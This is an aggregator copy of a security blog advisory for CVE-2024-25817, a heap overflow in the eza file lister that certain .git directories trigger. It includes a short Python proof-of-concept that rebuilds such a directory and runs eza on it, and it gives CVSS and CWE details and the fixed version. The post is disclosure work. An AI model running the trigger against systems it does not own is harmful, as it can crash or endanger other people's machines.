惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

IT之家
IT之家
J
Java Code Geeks
小众软件
小众软件
Jina AI
Jina AI
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Hugging Face - Blog
Hugging Face - Blog
Stack Overflow Blog
Stack Overflow Blog
Blog — PlanetScale
Blog — PlanetScale
C
Check Point Blog
人人都是产品经理
人人都是产品经理
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
博客园 - Franky
Apple Machine Learning Research
Apple Machine Learning Research
G
Google Developers Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
H
Hackread – Cybersecurity News, Data Breaches, AI and More
The GitHub Blog
The GitHub Blog
腾讯CDC
T
The Blog of Author Tim Ferriss
大猫的无限游戏
大猫的无限游戏
量子位
M
MIT News - Artificial intelligence
Last Week in AI
Last Week in AI
L
LangChain Blog

Entropic

Inspect: Read the Bits :: Entropic NETGEAR EXS27 NGR LAN-side Pre-auth Command Injection in llmnrd via LLMNR Query Name :: Entropic ANSI Ink for Philes :: Entropic NETGEAR EXS27 NGR Pre-auth Administrator Takeover Chained to Root SSH Shell via Configuration Restore :: Entropic NETGEAR EXS27 NGR Pre-auth debug.cgi Archive Sensitive Information Disclosure :: Entropic Let's Decrypt NETGEAR EXS27 NGR Firmware V1.0.1.34! :: Entropic NETGEAR EXS27 NGR Local-LAN/L2 Pre-auth Command Injection in Root-started devProbe via DHCP Option 12 Hostname :: Entropic CVE-2017-9048: libxml2 :: Entropic CVE-2016-9297: LibTIFF :: Entropic CVE-2017-13028: TCPdump :: Entropic Fuzz two legacy CVEs in libexif :: Entropic CVE-2019-13288: Xpdf :: Entropic The Fuzzy Notebook :: Entropic Write-ups: Pwnable.tw :: Entropic Write-ups: System Security (Microarchitecture Exploitation) series :: Entropic Intel Control-flow Enforcement Technology Bypass :: Entropic Write-ups: 0xL4ugh CTF v5 :: Entropic 此地不宜调试 :: Entropic 梅花易数札记 :: Entropic Write-ups: ARM Architecture (ARM64 ROP) series :: Entropic The Cross-ISAs Notebook :: Entropic 2025 年终总结 :: Entropic Write-ups: System Security (Kernel Security) series (Completed) :: Entropic Write-ups: BlackHat MEA CTF Final 2025 :: Entropic Write-ups: Software Exploitation (Exploitation Primitives) series (Completed) :: Entropic Sapido RB-1732 路由器 RCE 漏洞 :: Entropic Write-ups: Software Exploitation (File Struct Exploits) series (Completed) :: Entropic Write-ups: 第八届「强网」拟态防御国际精英挑战赛-线上预选赛 :: Entropic Write-ups: 第九届「强网杯」全国网络安全挑战赛 :: Entropic Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series (Completed) :: Entropic
CVE-2024-25817: eza :: Entropic
CuB3y0nd · 2024-02-07 · via Entropic
# Summary

In `eza` [^1] (before `v0.18.11`), there exists a heap overflow vulnerability, f
irst seen when using Ubuntu for Raspberry Pi series system, on `ubuntu-raspi` ke
rnel, relating to the `.git` directory.

# Details

The vulnerability seems to be triggered by the `.git` directory in some projects
. This issue may be related to specific files, and the directory structure also 
plays a role in triggering the vulnerability. Files/folders that may be involved
 in triggering the vulnerability include `.git/HEAD`, `.git/refs`, and `.git/obj
ects`.

# PoC - If you have Raspberry Pi 4B bare metal machine

**If you don't have Raspberry Pi bare metal, you can try emulate a ubuntu for ra
spberry system in virtual machine.**

You just need install any one of Ubuntu for Raspberry Pi series system in your b
are metal machine.

## Tested platform info

Configuration in `Raspberry Pi 4B` bare metal machine:

```bash
eza version: v0.18.10 [+git]

Linux lux 5.15.0-1049-raspi #52-Ubuntu SMP PREEMPT Thu Mar 14 08:39:42 UTC 2024 
aarch64 aarch64 aarch64 GNU/Linux

Distributor ID: Ubuntu
Description: Ubuntu 22.04.4 LTS
Release: 22.04
Codename: jammy
```

> [!IMPORTANT]
> So far I have only tested the `Ubuntu 22.04.4 LTS Server` and confirmed that t
his vulnerability exists. I haven't test other System/Raspberry Pi yet.

## Steps

Install `eza (<=v0.18.10)` in Raspberry Pi. Process can refer to the official [w
iki](https://github.com/eza-community/eza/blob/main/INSTALL.md).

```python
#!/usr/bin/env python3

import os
import shutil
import subprocess

# Step 1: Clone the repository
repo_url = "https://github.com/umami-software/umami.git"
subprocess.run(["git", "clone", repo_url])

# Step 2: Checkout to the specific commit contain the special '.git' directory t
hat can trigger the vulnerability
repo_dir = "umami"
commit_hash = "a38baa5"
os.chdir(repo_dir)
subprocess.run(["git", "checkout", commit_hash])

# Step 3: Create a directory for the vulnerability related files
os.chdir("..")
os.mkdir("suspicious")
shutil.move(os.path.join(repo_dir, ".git"), "suspicious/.git")

# Step 4: Remove unrelated files/directories
shutil.rmtree(repo_dir)

# Step 5: Trigger the vulnerability
subprocess.run(["eza", "-l", "--git", "suspicious/.git"])
```
> [!NOTE]
> The picture shows my test environment. In actual testing, the vulnerability ca
n be triggered by just using the above script.

# Impact

Arbitrary code execution.

# Severity using CVSS

Severity: `High 8.4`<br />
Vector string: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

# Weaknesses

- Heap-based Buffer Overflow (CWE-122)
- Improper Restriction of Operations within the Bounds of a Memory Buffer
  (CWE-119)
- Missing Release of Memory after Effective Lifetime (CWE-401)
- Improper Resource Shutdown or Release (CWE-404)
- Improper Initialization (CWE-665)

# GitHub Advisories

- GitHub Advisories.[^3]

# NIST

- National Vulnerability Database.[^4]

# Solution

Update eza to `0.18.11` or higher version.

# References

[^1]:
    [eza](https://github.com/eza-community/eza/tree/main): A modern,
    maintained replacement for ls.

[^3]: [GitHub Advisories](https://github.com/advisories/GHSA-3qx3-6hxr-j2ch)

[^4]: [CVE-2024-25817](https://nvd.nist.gov/vuln/detail/CVE-2024-25817)